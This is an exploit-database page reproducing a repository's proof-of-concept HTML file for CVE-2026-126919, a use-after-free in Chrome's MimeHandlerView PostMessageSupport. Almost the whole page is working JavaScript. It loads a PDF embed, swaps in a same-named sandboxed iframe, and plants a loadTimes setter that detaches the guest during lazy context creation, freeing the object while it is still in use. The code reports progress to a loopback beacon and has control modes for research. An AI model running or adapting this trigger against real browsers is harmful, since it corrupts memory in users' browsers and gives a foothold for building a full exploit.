Exploit databaseDownload repository ZIP
GH-9ed708c370b5b1b51279bd98287b1c59
abraxas/cve-2026-126919-mimehandler-postmessage-uaf
Sources for CVE-2026-126919
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
abraxas/cve-2026-126919-mimehandler-postmessage-uafRevision 13ed066c97d7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/poc.html
HTML · 4,393 bytes<!doctype html>
<meta charset="utf-8">
<title>CVE-2026-126919</title>
<body>
<div id="out">start</div>
<script>
// CVE-2026-126919: use-after-free in extensions::PostMessageSupport::
// PostJavaScriptMessage() (Google Chrome, MimeHandlerView).
//
// Sequence mirrors the upstream regression test
// ChromeMimeHandlerViewTest.PostMessageTargetContextCreationDestroysSupport
// in chrome/browser/guest_view/mime_handler_view/chrome_mime_handler_view_browsertest.cc.
//
// Do not attach a DevTools client while running this page. Runtime.enable makes
// the renderer create a main-world V8 context for every frame, and that hides
// the lazy-initialisation path the bug depends on.
//
// Query parameters:
// how=call|descriptor|none call: savedPostMessage({}) (the bug)
// descriptor: force the context from JS (control)
// none: do nothing (control)
// childname=<name> name for the middle frame, default "chrome"
// noremove=1 run the setter without detaching the guest
// beacon=<port> loopback port for progress beacons
// delay=<ms> wait before SetActive(), default 2500
const out = document.getElementById('out');
const q = new URLSearchParams(location.search);
const how = q.get('how') || 'call';
const childName = q.get('childname') || 'chrome';
const noremove = q.get('noremove') === '1';
const beaconPort = q.get('beacon') || '18619';
const delay = Number(q.get('delay') || 2500);
const sleep = ms => new Promise(res => setTimeout(res, ms));
const mark = s => {
new Image().src = 'http://127.0.0.1:' + beaconPort + '/r?' + encodeURIComponent(s);
out.textContent = s;
};
(async () => {
try {
// 1. A MimeHandlerView guest: the PDF viewer's <embed>.
const iframe = document.createElement('iframe');
iframe.src = 'doc.pdf';
iframe.width = 400;
iframe.height = 300;
document.body.appendChild(iframe);
let innerEmbed = null;
const t0 = Date.now();
while (Date.now() - t0 < 20000) {
try {
const e = iframe.contentDocument && iframe.contentDocument.querySelector('embed');
if (e && e.getAttribute('internalid') && typeof e.postMessage === 'function') {
innerEmbed = e;
break;
}
} catch (err) {}
await sleep(100);
}
if (!innerEmbed) { mark('DONE NOEMBED'); return; }
const internalid = innerEmbed.getAttribute('internalid');
const savedPostMessage = innerEmbed.postMessage;
mark('MARK embed-ready');
// 2. Wait for PostMessageSupport::SetActive() so is_active_ is true.
await sleep(delay);
innerEmbed.remove();
// 3. Replacement frame with the same name. Its sandboxed srcdoc document
// keeps the main-world context lazy until savedPostMessage() asks for
// the window proxy.
const target = document.createElement('iframe');
target.name = internalid;
target.setAttribute('sandbox', 'allow-same-origin');
target.srcdoc = '<iframe srcdoc="<iframe name=below></iframe>"></iframe>';
const loaded = new Promise(res => { target.onload = res; });
document.body.appendChild(target);
await loaded;
// 4. Name the middle frame so GetOrCreateChromeObject() resolves
// window.chrome to a child frame instead of making a fresh object.
const w = window.open('', 'below');
const child = w && w.parent;
child.name = childName;
// 5. LoadTimesBindings::Install() sets chrome.loadTimes during lazy context
// creation. That runs this setter, which detaches the guest and frees
// PostMessageSupport while PostJavaScriptMessage() is still on the stack.
let fired = 0;
Object.defineProperty(child, 'loadTimes', {
configurable: true,
set() {
fired++;
mark('MARK loadtimes-setter-ran');
if (!noremove) iframe.remove();
mark('MARK guest-detached');
}
});
// 6. Fire. This is the only access to the target's window proxy.
if (how === 'call') {
savedPostMessage({});
mark('MARK postmessage-returned');
} else if (how === 'descriptor') {
void target.contentWindow.chrome;
mark('MARK forced-context');
}
mark('DONE fired=' + fired + ' alive=' + !!iframe.isConnected);
} catch (e) {
mark('DONE ERR ' + e.name + ': ' + e.message);
}
})();
</script>